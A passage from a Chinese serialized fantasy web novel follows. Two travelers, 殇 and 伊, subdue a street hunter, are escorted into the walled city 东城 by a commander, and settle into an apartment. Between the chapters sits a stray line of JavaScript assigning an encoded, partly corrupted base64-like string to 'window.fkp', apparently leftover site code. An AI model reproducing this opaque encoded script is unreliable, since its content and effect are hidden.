伊点头答应道。殇汇聚核心能量于全身,然后十分警惕地慢慢走向了那辆车。伊小心翼翼地跟在殇的身后,跟着他慢慢地走向了那辆车。殇走近了这辆车,然后凑近车窗看了看。车内没有什么非法违规物品,也没有枪械,只有一瓶开了封的橘子汽水。看完车内,殇绕着这辆车走了一圈,好好观察了这辆车一番。他并没有看到什么组织的标志,这辆车不是什么组织成员的车辆。看到这些,殇松了一口气。 殇转过身去刚想告诉伊这点,但就在这时,一个身穿红色朋克大衣的男子突然出现在伊的身后。他用手臂勒住伊的脖子,掏出腰间的爪子刀架在伊的脖子上。殇和伊都被吓了一跳,伊瞬间连动都不敢动了。那个男人很警惕地看了看周围,他的表情很是紧张,似乎是在躲避什么。这个男人神情严肃地问殇: “你们是UppF(城市维和警备部队)的人吗?” 殇摇了摇头,语气柔和地回答道: “不,我们不是。我们只是路过这里的旅行者。” “怎么证明?” “啊......这。那什么,我们两个全身都没有武器!如果我们是UppF的人,我们身上肯定有枪对吧。” “那也是。要是你们是UppF那群蠢货,你们估摸早就开枪射死老子了。” “那么你就放了她吧。” “不,不行。我不确认你们的身份,我不确定你们是否安全。如果你们是那些追杀我的bastardo(混蛋)赏金猎人怎么办?” 就在那个男人说话的时候,伊慢慢倾斜左肩,然后握紧拳头,等待一个合适的出手时机。殇注意到了这个细节,但他并没有表现出任何反应,只是继续冷静地对着那个男人说道: “要是我们是那些赏金猎人的话,情况可能就不是......” 殇说到这里突然不说了,他给了伊一个眼色。伊明白了殇的意思,接着她对着那个男人的裆部狠狠来了一拳,那个男人本能地弯腰捂住了他的那个地方,同时踉跄着后退了两步。趁此机会,伊一个手肘下砸砸在了他握着刀的手臂上,然后疼痛使得他松开了手中的刀。伊抢过他手里的刀,然后一个回旋踢将他踢倒在地。做完这一切后,伊松了一口气。这时,殇走了过来。见到殇过来,伊转头微笑着对殇自豪地说道: “看,殇。你教我的那些招式我都学会了!” “不错,学得挺快。” 殇赞扬伊道。这时,那个男人想要站起来。殇注意到了这点,他一把夺过伊手中的刀,然后走到那个男人身前用刀架住了他的脖子。见到殇这么做,他本能地举起手来,一动也不敢动,态度诚恳地对殇说: “哥!哥,哥哥哥。我认输了,别杀我。” 殇把手抽回来转了转手中的刀,然后将刀继续架在他的脖子上。 殇: “(严肃)说,你是什么来头?你是干什么的?” 那个男人: “(诚恳)哥。我是个普通的2阶都市猎人。我就是个给别人干黑活的。我没啥价值的,老哥。” “原来只是个普通的都市猎人啊......还有,你叫什么名字?” “我叫埃罗·福斯。” “埃罗,还算不错的名字。——把你的猎人证给我看看。” 埃罗掏了掏自己的口袋,掏出了猎人证,然后诚恳地递给了殇。殇接过猎人证一看,发现猎人证上的人与自己眼前的人一模一样。这下,他确认埃罗没有什么威胁力了。殇放下了刀,然后他转了转手中的刀,仔细看了看这把爪子刀。见到此景,伊微笑着对埃罗说道: “误会而已,误会而已啊。” 在欣赏完这把爪子刀之后,他将手中的刀一把塞到埃罗怀里,并用及其严肃的语气对埃罗说: “虽是误会。但我警告你小子,你要是敢碰我或她一根手指头,我保证让你遍体鳞伤地倒挂在电线杆上!” 听到这话,埃罗被吓到了。他赶忙用诚恳的语气对殇保证道: “哥!我保证今后不动你和她一根手指头!这种错误,老弟我保证以后不会再犯了。以后有什么事,哥你尽管开口。老弟我能办的肯定给你办。” 听到埃罗诚恳的话语,殇稍稍放下了心中的戒备,然后殇对着他伸出了手。埃罗立马明白了殇的意思,他一把抓住殇的手站了起来。殇用拳头轻轻锤了锤埃罗的胸脯,他表情有些严肃地对埃罗说: “身子骨挺结实。一看就跟那些瘦的跟小树一样的都市猎人有所不同。” 听到这话,埃罗微笑着对殇说道: “哥。我吃的多,而且喜欢健身,所以我才有这么一身强壮的身体。” “光有身体可不行,你还得长长脑子。” “明白,哥。” “对了,你那辆车还能开吗?” “能。不过快没油了。” “一会你能载我们两个一程吗?我们两个要进城。” 听到进城这两个字眼,埃罗立马面露难色。他很为难地说: “行是行。但是吧,我犯了点事。现在这个节骨眼上进城有些困难。那些UppF的人肯定会把我弄个半死的。” “弄个半死?你犯什么事了?” “我啊......哎,就不该那时候去看热闹。——那时候,我开着车在街上准备回家,好巧不巧地遇到了一起交通事故。一辆价值百万的豪车与一辆红色的轿车相撞了。那个红色的轿车内的所有人都受了不小的伤,而那个开豪车只是小臂骨折了而已。因为我正好路过案发现场,再加上那个开豪车的蠢驴眼瞎,非得说是因为我才致使他装上那辆红色轿车的!真是愚蠢!所以,那个开豪车的花点钱贿赂了UppF的人,让那些人把我抓回去教育一顿,好让他出出气。” 听到埃罗的这段遭遇,伊和殇都很震惊。 殇: “(震惊)卧槽,这可太损了。我长这么大第一次听到这种事。” 伊: “(震惊)这也太坏了吧,怎么可以这样呢?” 埃罗: “(无奈)没办法,有钱任性呗。” 殇托着下巴思考了半霎,他的大脑飞速运转,思考着事情的种种意外情况。最后,他决定冒险一把。 殇: “那么这样吧。你帮我们进城,我们帮你躲过那些UppF的人。” 埃罗: “(惊喜)真的吗?哥。” 殇: “我还能骗你不成。” 埃罗: “(笑)好!大哥。有你这句话,我就放心了。” 之后,埃罗和殇他们花了些时间在加油站内收集到了一些汽油与物资,然后他们在加油站内简单吃了一顿饭。接着,埃罗驾驶自己的车向着城市驶去。在路上,伊跟埃罗聊起了天。 伊: “(好奇)埃罗,请问你今年多大了?” 埃罗: “我啊,今年二十五了。” “你是刚大学毕业吗?” “毕业?那是我十三岁时候的事了。” “啊?你只上完了小学!” “不,我连小学都没上完。我在五年级的时候因为打架被开除了。” “在那之后你是怎样度过的?” “能怎么度过,在街上混社会呗。我一直混到了我二十三岁那年,我才被政府应招成为了即合法又不合法的都市猎人,成天干黑活。好在在这段时间有我的宝贝陪着我,让我没能堕落为恶魔。” “宝贝?是你的女朋友吗?” “没错。她是我的甜心,我至高无上的老婆大人。” “哇哦!你和她的生活一定很甜吧。” “不不不,我跟她的生活‘糟糕’透了。但我和她都从未放弃对方。因为我们在这个冷酷的世界上只有彼此。” 此时,殇插入聊天调侃道: “看你呆头呆脑的样子,竟然还能说出这般话语,看样子是我小瞧你了。你是个合格的男人。” 埃罗笑着回应道: “可不是吗!我会弹琴、说唱、拉弓射箭、开枪射击、甚至还会下下高级的象棋。不过吧,像我这样的合格分子,这个地方可不少啊。论才艺我可比不过他们,我还很差劲呢。” 伊笑着对埃罗鼓励道: “没有关系,埃罗。只要能对身边周围的人好,你就是最棒的那个。” 埃罗笑着回应她: “你这嘴啊,跟摸了蜜似的。像你这样的人啊,不多见,不多见啊!” 聊天之后,殇告诉了埃罗自己的办法。听到这计划,埃罗不禁竖起大拇指称赞起殇。说干就干,殇变出了三身白色羽毛西装(EmA-4),然后给他们三个都换上了这身西装。接着,殇拿出了肃清者给他和伊的通行证,然后趾高气昂地在座位上摆起了架势。从远处看,殇他们三个好像是某个高阶协会的成员。远处的钢铁城墙渐渐出现在了地平线处,同时,落日的余晖也渐渐落到了殇等人的身上。迎着余晖,埃罗驾驶着车辆一路驶到了检查站前面。埃罗看了看检查站内身穿重甲的UppF机动队成员,他感到有些紧张,生怕露馅。驶入检查站之前,埃罗对车内的殇伊两人说道: “我们到地方了。接下来,就靠你们了。” 殇和伊点了点头,然后表情瞬间变得十分严肃,装出了高等协会成员那种高傲的气势。之后,埃罗驾驶车辆缓缓驶入了检查站内。 按照常理,埃罗他们接受完检查,看完文件就可以离开这里。但是这次不一样,给他们进行检查的人员在看到车内的人员后就匆忙打开了城门,直接放埃罗他们过去了。埃罗驾驶着车辆驶过检查站,车上的三人很是疑惑,他们不明白为什么他们不过流程直接就放他们进城了。这时,伊转头看向了车后。这时,检查站的大门缓缓关闭,钢铁城墙很快进入到了完全防御状态。这跟往常是一样的流程,只不过今天比常日来要早上许多。 埃罗: “(疑惑)奇怪,为什么他们直接就放我们过去了?不该过个流程的吗?今天怎么了?” 伊: “(好奇)埃罗,你们正常是这个时候关闭钢铁城墙的城门吗?” 埃罗: “不是,怎么了?” 伊: “那个城墙的城门刚刚关闭了。” 埃罗: “?dios mio!(我的老天啊)太他妈离谱了。” 殇: “(警觉)我们最好注意点,今天这么反常,一定是有问题。” 埃罗: “(点头)我也这么觉得。” 话音刚落,两辆黑色高级武装吉普车突然从道路两侧驶来。这两辆武装吉普车直接冲到埃罗的车前方十五米处,接着一个斜停式拦截横在了马路中央。见到此景,埃罗猛踩刹车减速停下。 “?mierda!” 在后排的伊差点飞出去,所幸殇反应及时,直接一把把前倾的伊给按到后座靠背上,让她免于受难。 殇: “(疑惑)埃罗!怎么回事?” 埃罗: “(紧张)不......不知道啊。我只看到突然有两辆装甲吉普冲到我们前面挡路。” 此时这两辆武装吉普车车门上的全息显示屏上显示出了“UddF城市警备队”几个大字。见到这几个大字,埃罗他们感觉到了不妙。埃罗想驾车离开,但是此刻武装吉普车上下来了四位拿着现代化武器的警备队成员,其中一个的手中还拿着带有智能定位器的火箭筒。见到这等架势,埃罗立刻打消了这个想法。他给车熄了火,然后静静地等待这些人带他离开。 埃罗: “草了,这下完犊子了。” 事情并未向着他想的方向进行。这时,这四个士兵两两散开,彼此之间拉开距离,构造了一个矩形空域。然后他们端庄地站起了军姿,等待即将到来的大人物。片刻之后,一辆黑色高级悬浮车从空中空降下来。这辆悬浮车正好落在了那片空域之中,丝毫没有偏差。看着眼前的高级悬浮车,伊和埃罗都不禁张大了嘴巴,以一种难以置信的眼神注视着那辆悬浮车。而殇,则十分警惕地盯着那辆悬浮车,他没有惊讶,没有任何表情动作。他的一只手放在了车把手上,随时准备开门应对随时可能到来的战斗。 殇心里: “来者不善啊......” 就在车内气氛凝固的时候,那辆黑色悬浮车的车门打开了。一个健硕的身影出现在了那辆黑色悬浮车车内。他手持一把银白色的军刀,云顶之辉浮动在刀锋之上;他头戴一顶指挥官的帽子,殇王国的国标赫然挂在帽檐之上;他戴着一对白色的手套,高雅的气质显露了出来;他的腰部配着一把银白色的大口径手枪,看着让人不得不心生敬畏。看到他,埃罗表现出了难以置信的神情。他很大声地对车内的殇伊两人说道: “?Increible!是他,警备队的最高指挥官,名扬四海的苍白大少爷。” 听到埃罗这么称呼他,伊心里也对他多了几分敬畏。 伊: “(敬畏)哇哦!这么厉害的吗?” 埃罗: “可不是吗?不然UddF是怎么管理的了那么多国家的人民的?” 殇并没有表现出对他敬畏,他时刻保持警惕。听到苍白这个名字,殇隐隐觉得自己从哪里听过,而且自己仿佛跟他认识。 他走下悬浮车,然后用尊敬的语气对车内的三人说道: “欢迎您来到东玲国!我亲爱的朋友。恕鄙人未能及时去接你,这点,我心有惭愧。我亲爱的朋友,这次就让我来接你去城里好好转一圈吧。这样,就能赴肃清者大人的约定,让您好好在城内度过一段快乐的旅行时光。” 他拍了拍手,然后笑着亲自走到了埃罗的车旁边,亲自将埃罗他们三个迎下了车...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第五话:东城 见到苍白如此,殇他们很配合地下了车。看着面前这个帅气的银发指挥官,埃罗和伊都表现出了尊敬的目光,而殇还是警惕着他。苍白的眼光快速在这三人身上扫过了一遍,当看到伊的时候,他的眼神停顿了一下。这个细节被殇留意到了,但聪明的殇并未当场说出这一点,他不想打草惊蛇。 苍白心里: “这就是江湖流传的S吗?看不出个什么来......我觉得我应该再观察一阵子,她绝对没有看起来那么简单。” 当他的视线落到殇身上的时候,他的眼神也停顿了一下,只不过在停顿的那一刻,他的眼神之中涌现出了一丝敬意。他特意走到殇的面前,然后虔诚地对着殇伸出了自己的右手,想要跟殇握握手。殇自然没有拒绝,他微笑着握住了苍白的手,然后两人相互给予对方一个和善的笑容。此刻,他表现出了与他外表样子不一样的温柔,这种温柔,让殇隐约想起了什么。 苍白: “(尊敬)前辈,很高兴见到你。鄙人名叫苍白·梦,希望以后能跟前辈成为朋友。不知前辈你,意下如何。” 听到苍白的话语,殇思考了半霎,他觉得苍白这个人暂时不清楚底细,但从暂时的态度来说,他是个值得去了解的一个人,所以殇决定答应他的请求。他微笑着对苍白说: “好。多一个朋友,多一片天地。” 说完,苍白和殇都笑出了声。两人同时松开了对方的手,然后苍白看了看一旁有些紧张的埃罗。苍白看出了埃罗的心思,而且还认出了他。苍白微笑着问殇: “前辈,请问这位是?” “我的一个朋友。” 殇即答道。听到殇的这个回答,苍白欣然接受了。见到苍白询问自己,埃罗心里即惊又喜,但在这惊与喜之中,还有着一丝忧虑。埃罗很怕UppF会找自己秋后算账。 接着,苍白走到了伊的身前。见到苍白过来,伊对他打了个招呼。 “你好,苍白先生。” 见到伊主动跟自己打招呼,苍白笑了笑。他微笑着对伊说道: “你好,小姐。敢问尊姓大名?” “我叫伊,秋水伊人的伊。” “伊,好名字。敢问姑娘可否与我交个朋友?” “可以呀。” 苍白伸出了自己的右手,以示敬意。伊见此,也伸出右手回应他的敬意。两人微笑着握了握手。 苍白: “伊小姐,幸会。” 伊: “苍白先生,同意幸会。” 在两人握手的时候,苍白用体内的核心感应了一下伊的核心,片刻之后,他感应到了伊体内所蕴含的无穷力量。这股力量远超他所见过的任何一个核心使者所能拥有的核心能量。那种力量,足以粉碎一切障碍。 苍白心里: “没错。是她,真的是她!伊娜的孩子,我们的未来与希望。看来,调律者所委托我的特殊任务可以如期开始了。” 就在这个时候,在一旁的殇核心检测到了苍白体内的核心能量波动,他察觉到了苍白此刻的小动作。殇脸上的笑容瞬间凝固了,他的眼神此刻变得犀利起来。 接下来,苍白对殇他们邀请道: “各位,接下来请跟我上车,我带你们去城里好好逛一逛。” 殇他们没有拒绝。见此,苍白微笑着领着殇他们上了悬浮车。殇他们刚坐好,苍白就打开了车内的小冰柜,然后微笑着问殇他们: “请问,你们要喝些什么吗?这里有香槟、红酒与果汁。” 殇他们相互对视了一眼,然后摇头谢绝了。但苍白执意打开了一瓶香槟,然后他为三人各倒了一杯。见到苍白如此客气,殇他们不好拒绝,只好接受。在路上,伊的视线总是在车窗外的城市高楼之上,她对着东城内的环境很感兴趣。比起伊,殇只是偶尔看看车窗外的景象,更多时候他是看着车内的环境。他牢牢地盯着苍白,观察着他的一举一动。埃罗也差不多是这样,只不过他更在意的是车内的高档设施与装饰,这些是他从未见到过的新鲜事物。苍白拿起杯子,微笑着对殇说道: “前辈,我敬你一杯。” 殇: “(点头)好。” 殇也拿起杯子,然后跟苍白一起喝光了杯子里的香槟。喝完这杯香槟,苍白看了看一旁的埃罗。他笑了笑,接着对埃罗打了个响指。然后,一个拿着特制手电筒的机械臂从埃罗的椅子后面伸了出来。这个机械臂用手中的手电筒照了照埃罗的眼睛,没等埃罗做出任何反应,他就晕了过去。见到局外人晕倒后,苍白转过头微笑着问殇: “前辈,我可以问你一些问题吗?” “等等,你先给我解释一下这是怎么回事?” “这只是短暂的催眠,并没有什么大碍。我催眠他,是防止接下来的谈话被局外人听到。” “原来如此......那你问吧。” “请问,你们来到这个城市之后要怎么生活呢?是当都市猎人?还是老老实实做个小商贩?” “这个......我们暂时还没想好。” “肃清者给你提供了一个合理的身份,这个身份可以让你好好在城市里生活,不用担心世俗的侵扰。” “什么身份?说来听听。” “皇家旅行团。或者说......皇家检查团。” 听到苍白这么说,殇瞪大了眼睛。他很是惊讶,他没想到肃清者竟会给他安排这样离谱的身份。殇很惊讶地说道: “啊?这身份是认真的吗?” “也许她觉得这样很适合你......她就是这么跟我交代的。” “好吧,好吧。那总比当个黑户要强。” “前辈,我们UppF不能总是保护你们;接下来的城市生活,定会有危险伴随,你们必须直面危险。这是肃清者的本意。迫于外界压力,她只能这么做。希望你可以谅解她,前辈。” “哦~没关系。弱者才需要被人保护。我们两个可以保护好自己的,更何况有我这个天下无双的强者在呢。” “那我们就放心了。但无论如何,你们都要保护好自己的安全,一切都要以安全为首要前提。你们是我们大家的希望。” “知道了。不必担心,苍白。” 在路上,殇和苍白聊起了各自的家常。他们两个之间没了当初刚见面时的警惕,聊起天来很是自然。在一旁的伊一直插不上话,只得尴尬地在一旁听着他们聊天。聊着聊着,殇就聊到了扭曲现象。听到殇说起扭曲现象这件事,苍白的脸色立马阴沉了下来。 苍白告诉殇,扭曲现象一直是他们UppF以及市民们的心患,他们已经在处理扭曲生物的问题上牺牲掉了好几百人了,而且被扭曲生物所杀死的市民的数量已经有五千多人了。听到苍白这么说,殇不禁感到有些悲伤。苍白还告诉殇,他们不是不采取措施去处理扭曲现象,而是没有明确手段可以彻底处理掉扭曲。他们曾多次试着深入扭曲影响区的深处去根除扭曲之源,但每当他们来到扭曲中心区附近的时候,总会有一大团红色的烟雾如一面高墙似的挡在他们面前;这团红色的烟雾一旦被吸入人体,那么人体将在短时间内发生变异,从而成为扭曲生物的一员。他们有许多成员就是死在了这团红色烟雾之中。面对这团烟雾,他们没有任何办法。即使有最高级的防化装备、即使是最强大的扞卫者机器人、即使是受过专业训练的生化士兵,也没办法穿越这团红色烟雾。这团烟雾的威力可以腐蚀掉机器,让机器之中生长出血肉!让原本正常的人变成丑陋的怪物!他曾今亲眼目睹过这一切,他深知这团烟雾的威力。于是他下令禁止任何人深入扭曲中心区,并将那里划为了禁区。他们能做的只是以通过杀死扭曲生物的方式来保护民众,面对这一长期存在的威胁,他们无力反抗。听完苍白的描述,殇和一旁的伊对扭曲现象有了新的了解。 殇问苍白有什么解决办法,苍白告诉殇没有办法可以处理掉扭曲现象,他们曾动用过坦克、战斗机、机甲、甚至驱逐舰。但是无论是炮轰还是空降投炸弹,顶多就是扭曲生物大面积死亡,而扭曲现象始终存在,仿佛它本就该存在一样。苍白无力的话语触动到了殇的内心,殇回想起了自己仅存记忆之中的自己,那时的他会怎么做呢?殇暗自下定决心要去将扭曲现象给调查得一清二楚,好给这些因为扭曲现象而死去的一个人交代。不知为何,殇感觉自己年轻时的那种冲动又回来了,那种年轻时的奔放,让殇很是怀念。那种愣头愣脑说干就干的日子,仿佛再次回到了殇的身边。 一段时间后,这辆黑色高级悬浮车停在了UppF总部大楼楼顶。苍白喝了一口杯中剩余的香槟,调节了一下自己的情绪,让微笑重回他的脸颊。苍白微笑着领着殇他们下了车,然后叫来两位工作人员将昏睡的埃罗给送回到了他的家。 苍白: “(微笑)各位,跟我来。我带你们去办个旅行团的证件。办完证件之后,你们就能在城市之中合法地生活好一阵子了。” 说完,苍白就领着殇他们一路来到了位于23楼的办理部门。按照程序,苍白先与办理部门的工作人员与部长谈妥,然后核实一切信息与证件,最后再开始办理皇家旅行团的相关证件。这个过程需要在内部的机密信息处理室内完成,全程都不许外人进入打扰。按照规定,殇和伊得在走廊等待这个过程完事。于是,殇和伊按照规定坐在了办理部外面走廊的座椅上等待手续等一系列证件办理完成。在等待的过程中,伊和殇聊了聊有关旅行团的事情。 伊: “(好奇)殇,你说我们这个旅行团是不是该起个属于我们的名字呢?” 殇: “(点点头)我觉得......整个也不错。” 伊: “(微笑)我觉得这样有新意,能让我们这个小团体有些属于我们的特点。” 殇: “(好奇)所以说,你想好我们这个旅行团叫什么名字了吗?” 伊托着下巴思考了一会,无数种物品的图案从她的脑中划过。片刻之后,伊缓缓对殇说道: “要不,我们的旅行团就叫香草旅行团吧。” “哈?你是认真的吗?你确定我们叫这个名字合适吗?” “合适,怎么不合适呢?” “我怕到时候别人会以为我们是一群不顾正事的富贵。” “不会的,殇。香草这个名字有很多寓意的。” “好吧好吧,听你的。但在那之前,我得先问问你为什么偏偏选择香草为我们旅行团的名字。” “这个......因为我喜欢吃香草冰淇淋......” “啊?这可太......” “我妈妈也喜欢吃......那时候,我总是在夏天吵着要妈妈给我买。妈妈总是哄着我......真怀念那段时光啊。” 伊的眼神之中有着对过去的怀念与对未来的期待。看着她,殇似乎回想起了过去的一些东西。 “我明白了。香草这个名字,其实也挺不错的。” 过了一会,办理处的工作人员拿着一张证件走了出来。他看了看走廊,发现走廊内只有殇和伊坐着等待。见此,他快步走到了殇和伊前面问道: “你们的旅行团名字叫什么?请麻烦你们想一下,我们要登记。” 殇和伊对视了一眼,然后异口同声地回答道: “香草旅行团。” “好,我知道了。你们的合法证件很快就出来了。” 说完,工作人员便离开了。 一段时间过后,苍白拿着两张金边通行证从办理部门内走了出来。见到苍白出来,殇和伊迎了上去。苍白将手中的通行证交给了殇和伊,并嘱咐道: “这两张通行证你们拿好,一定要妥善保管。切记,不要弄丢。不然到时候事情会变得很麻烦。” 伊: “(点头)知道了。” 殇: “(自信)放心,弄丢不了。” 殇和伊仔细看了看手中的通行证,通行证上有着他们的名字与图片,还有着他们旅行团的大名:香草旅行团。 这时,苍白提议带殇和伊去吃西餐。殇本想拒绝,但想到伊在一路上也没吃什么东西,饿了一路,再加上他们两个也没有钱,于是他同意了苍白的提议。听到苍白要请自己和殇吃饭,伊有些抹不开面子,她也想拒绝,但考虑到自身的原因,伊也同意了苍白的提议。之后,苍白带着殇他们去东城内最好的一家西餐厅吃了一顿西餐。饭后,苍白给他们安排到了一个很普通的公寓的顶级区域之中,并自掏钱包为他们付了三个月的房租。最后,苍白花钱雇人打扫了一番两人的住处,让原本积满灰尘的房屋变得十分干净。 苍白: “(微笑)接下来,你们两个就好好在这里生活一段时间吧。如有需求,你们随时可以用你们核心的呼叫功能远程呼叫我。无论何事,我都会帮你们解决。回见,各位。” 殇和伊: “(挥手)回见,苍白。” 他们目送着苍白离开。在苍白消失在他们的视野尽头后,两人先抬头看了看这间房子的门牌号,然后推门走进了屋内。他们所住的房屋的门牌号是A1514,十五楼,十四号房间。走进屋内,殇伊两人好好打量了一番屋内的样子。屋内的设施很是一般,但各种必要的设施一应俱全。可以说是“麻雀虽小,但五脏俱全。”殇和伊在屋内简单转了两圈,他们发现屋内的一切都显得很朴实无华,看起来就跟正常的屋子一模一样。苍白没给他们的房子搞特殊对待。 殇发现苍白所挑选的这套房子内很温馨地留有两间卧室,一间在东,一间在西。两间卧室内各有一个衣柜、床头柜、一套写字桌以及一张单人床。在这两间卧室之中,殇发现了两个个很有趣的细节。第一,东屋的被褥枕头是白色的,而西卧室的却都是蓝的。第二,东卧室的床边还有着几个崭新的动物玩偶,而西卧室的床边没有,但西卧室的写字桌上有一台黑色收音机。 伊来到厨房看了看。厨房内各种厨具一应俱全,切菜板和锅碗瓢盆之类的东西也都是新的,一点锈蚀痕迹都没有。看过厨房,她又来到了阳台看了看。阳台上有着几个空花盆,隐约可以看到花盆之中的泥土上的铲子痕,似乎之前住在这里的人很喜欢养花。正当她要离开阳台的时候,其中一个花盆上的标签吸引到了她。她拿起这个花盆仔细看了看,发现标签已经损坏了一部分,上面的字迹有些模糊,但伊依旧能辨识出来。 伊: “(慢慢地读)卡纳铃兰......” 伊放下花盆,托起下巴思考。 “卡纳铃兰?这是花主人的名字吗?老感觉曾经听过这个名字......好像是在电视上还是新闻上听到的。” 突然间,她的瞳孔变成了金色,她缓缓转头看向那个有标签的花盆。看着花盆上的名字,伊感觉到那股熟悉的能量在此刻重新出现了。但不过,这次她身边没有任何需要救赎的人。 这到底是为什么呢?为什么这股能量会在这种情况下出现呢?伊百思不得其解。 她闭上眼睛,试着感受这股能量要传达给自己的消息。好几分钟过去了,她始终感应不到那个需要被救赎的人的存在,仿佛那个人根本就不存在。 伊心里: “(疑惑)为什么?为什么我感应不到需要被救赎的人?之前不是这样的。之前我都能明确感受得到的。(思索)难道......这股能量向我传达的不是这个消息吗?还是说,它在指引我寻找那位需要被救赎的人?” 这股能量渐渐消失了。伊缓缓睁开了眼,她的脑中思考着刚刚的问题。她思考了一会,最后还是没能想到答案。这时,殇走了过来。 殇: “伊。” 伊: “嗯?” “苍白那家伙还挺贴心。他给我们整的这个房子有两间卧室,还挺贴心。正好你一间我一间。而且吧,还专门在属于你的东卧室里面给你准备了些贴合你身份的东西。” “殇,我觉得......那间卧室很可能不是属于我的。” “哈?喂,伊。你可别忘了,我们可是付过房租的。在租借合同期间,只要不搞破坏,这间房子就是属于我们的。暂时。” “好吧。说的也是。——对了,殇。我刚刚在这里感受到之前那两次的奇异能量了。” “啊?那不成这屋子里还藏着个人?!” “不。这屋内就只有你我。奇异能量是在我看到一个花盆的标签后才出现的。标签上写着卡纳铃兰四个大字。” “哦?是这样吗。——卡纳铃兰.......没听过。” “我能感受到奇异能量正在指引我寻找需被救赎者。但是......它并没有告诉我那个人在哪里。” “那这件事只得从长计议了,伊。” “那也只能如此了。以后要是有机会能碰到他,我再去救赎他吧。” 在参观完他们的暂住房屋后,殇和伊拿起了客厅茶几上的钥匙,然后快步离开了屋子。离开屋子后,殇将门锁好,然后准备下楼去城里逛逛。这时伊提议去天台看一看,她想从高处好好看看这座城市。殇没有拒绝,接着跟着她一同来到了楼顶天台。 今天天台的风不大,只是微风轻轻拂过。站在天台上,殇和伊静静凝望着这座死气沉沉的城市。如往日一样,城内是一抹独特的灰色景象,丝毫看不到希望。与之对照的,是城市上空蔚蓝色的天空与朵朵白云。街道上的行人很多,每个人的视线都直视前方的道路,从不抬头看头顶蔚蓝色的天空。难道他们从来就不抬头吗?每个人的脸上没有一丝笑颜,只有冰冷的严肃,仿佛每个人都带上了冰冷的面具。难道他们真的不会笑吗?街道上的店铺的招牌上的霓虹灯闪烁着,各种各样的店铺的大门静静地敞开着,很少有人进去。事实上,街道并没有看上去那么死寂,街道上行人来往很频繁,每个人的手里都攥着些什么。他们心里都揣着不同的念想,在死气沉沉的街道上来回穿梭。但是即便这样,这座城市却丝毫看不到生气。马路上的车行驶着,行驶得十分小心,悄悄地,不发出一点声响,仿佛林中打猎的猎人。只有在两车相互靠近之时,驾驶员才会按喇叭,让喉咙被遏住的车子们,发出一声呐喊。但是那呐喊,也丝毫改变不了这死寂,就连一丝波澜都掀不起来。这里怎么了?为什么每个人都笼罩在了死寂之中?伊不能明白,但殇似乎能理解他们。此刻,伊感觉心寒。她想不到这样“热闹”的城市竟会如此“安静”,安静的可怕,安静的令她毛骨悚然。 伊: “(疑惑)这是为什么呢?殇。为什么这样热闹的城市却没有一点生气?为什么他们不说话呢?是疫病让他们这样的吗?他们也许是害怕对方是感染者吧......” 殇: “(摇摇头)不。这里几乎没有感染者,感染者早就死在了钢铁城墙之下,早就变成灰了。让他们沉默的,是竞争心理。是对彼此的不信任,是对这个世界无情的回击。” 伊: “(好奇)竞争心理?” 殇: “这里每个人都想向上爬,逃离这个被他们称为‘地狱’的家乡,去往物质生活更加美好的地平区。但机会,总是那么稀少。如果想去‘天堂’就得踩着别人的尸体,或者是等待上帝给予他们宽慰。因此,他们的关系就变得僵硬,每个人都是敌人,都是竞争者。” 伊: “原来......是这样吗。” 殇: “但是,总会有些个例。你看过有关各个国家的人口普查报告吗?” 伊: “看过。东玲国的人口增长率排行世界第二,仅次于太玄国。两者的差距,不足百分之一。” 殇: “你知道为什么东玲国人口增长的那么快吗?” 伊: “(好奇)为什么呢?” 殇: “这里的婚姻率位居世界第一,而且离婚率与生育率分别位于世界倒数第一和第三。” 伊: “(醒悟)原来是这样!殇,你知道的真多。” 殇: “(微笑)一般一般。这些我早在见到你之前通过人了解到了。” 伊: “原来如此。” 一阵凉风吹过,伊不禁打了个寒颤。此时天色以晚,太阳渐渐落到了地平线处,朵朵白云被染成了艳红色。那是夕阳红,那是城市萧鸣期的信号,不一会,这座死气沉沉的城市,就要真正的热闹起来了。天的另一边有一轮峨眉月,月亮周围有着几颗淡淡的明星在闪烁,今晚的夜,注定很美。 殇和伊走下天台,然后向着楼下走去。当走到一楼的时候,殇和伊碰见了刚刚从家里醒来的埃罗。见到殇伊两人,埃罗好奇地问道: “诶,你们两个怎么在这里?” 殇解释道: “我们两个是刚刚搬到这里的。” 听到殇这么说,埃罗很高兴地边鼓掌边对殇伊两人说道: “太好了!哥。我也是住这里的,那么我们以后就可以成为哥们了。” 殇: “(惊讶)啊?” 伊: “(微笑)那是好事啊。有个朋友,遇到点事啥的,也能相互照应一下。你说对不,殇。” 殇: “(点点头)那确实。” 埃罗这时指了指走廊尽头倒数第三扇门,然后郑重地向殇和伊介绍道: “那里是我家。编号是A630的那件屋子。如果有啥事,尽管来找我。我能办的,肯定给你们办。但不过吗......” 殇: “(淡定)我知道,是得让你得些好处对不对。” 埃罗: “(笑)太对了!哥。毕竟,人也是要吃饭的吗。” 伊: “(点头)说的没错。” 埃罗: “(好奇)对了,哥。你们两个要干啥去?” 殇: “额......我们两个上街去逛逛。刚来这城市,有点不习惯。” 埃罗: “去上街溜达去啊......带我一个呗?(郑重)我能给你们当个向导,让你们好好了解了解这座城市。(微笑)毕竟老夫都在这里生活一辈子了。这么大还没给外人介绍过我们这噶地方呢。” 伊: “(微笑)好啊!正好我们也缺个向导。” 埃罗: “(微笑)那还等什么?走吧。” 之后,埃罗领着殇和伊离开了公寓楼,走上了通行者大街。到了晚上,死寂的城市变得活跃了起来,街上的人们之间没有了之前的寂静,他们彼此之间开始笑着闲谈聊天,似乎之前的抵触与沉默从未存在过一样。街边的路灯在此刻显得格外耀眼,各式各样的霓虹灯招牌如同一个个信标吸引着人们的注意力。之前死寂的商业街突然变得热闹起来,各种各样的食品与商品吸引着每个人的心,包括殇和伊。但是殇和伊此时身无分文,他们只能看着,而不能进去买买东西。这时,街边的烧烤摊、店铺之间的酒吧、超市、购物中心周围到处都是准备去买东西的人。这里似乎没有外界流传的那么贫穷,从外表看至少是这样的。 